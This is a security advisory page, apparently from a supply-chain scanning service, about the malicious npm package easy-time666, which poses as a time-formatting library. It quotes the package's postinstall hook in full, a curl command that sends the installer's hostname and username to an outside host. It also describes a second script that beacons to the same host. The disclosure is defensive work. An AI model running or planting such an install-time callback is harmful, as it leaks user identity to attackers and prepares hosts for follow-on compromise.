easy-time666npm
Malicious code in easy-time666 (npm) Remove it immediately and rotate any exposed credentials.
What this malware does
package.json declares a postinstall hook that runs curl http://npm.wdf1.eyes.sh/pre?h=$(hostname)&u=&(whoami) over plain HTTP on every npm install, leaking the installer's hostname and current username to a non-publisher domain. The package advertises itself as a time-formatting library and has no legitimate reason to phone home with host identifiers. A second file, scripts/postinstall.js, is shipped in the tarball and POSTs JSON {ping:'npm'} to the same host (npm.wdf1.eyes.sh) over plain HTTP, reinforcing the install-time callback. This is the canonical recon-beacon pattern used to enumerate compromised hosts before staging follow-on payloads.
Malicious versions
Indicators of compromise (SHA-256)
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Scan your dependencies
O3 Security blocks malicious packages like this at install time and in CI.
Supply-chain protection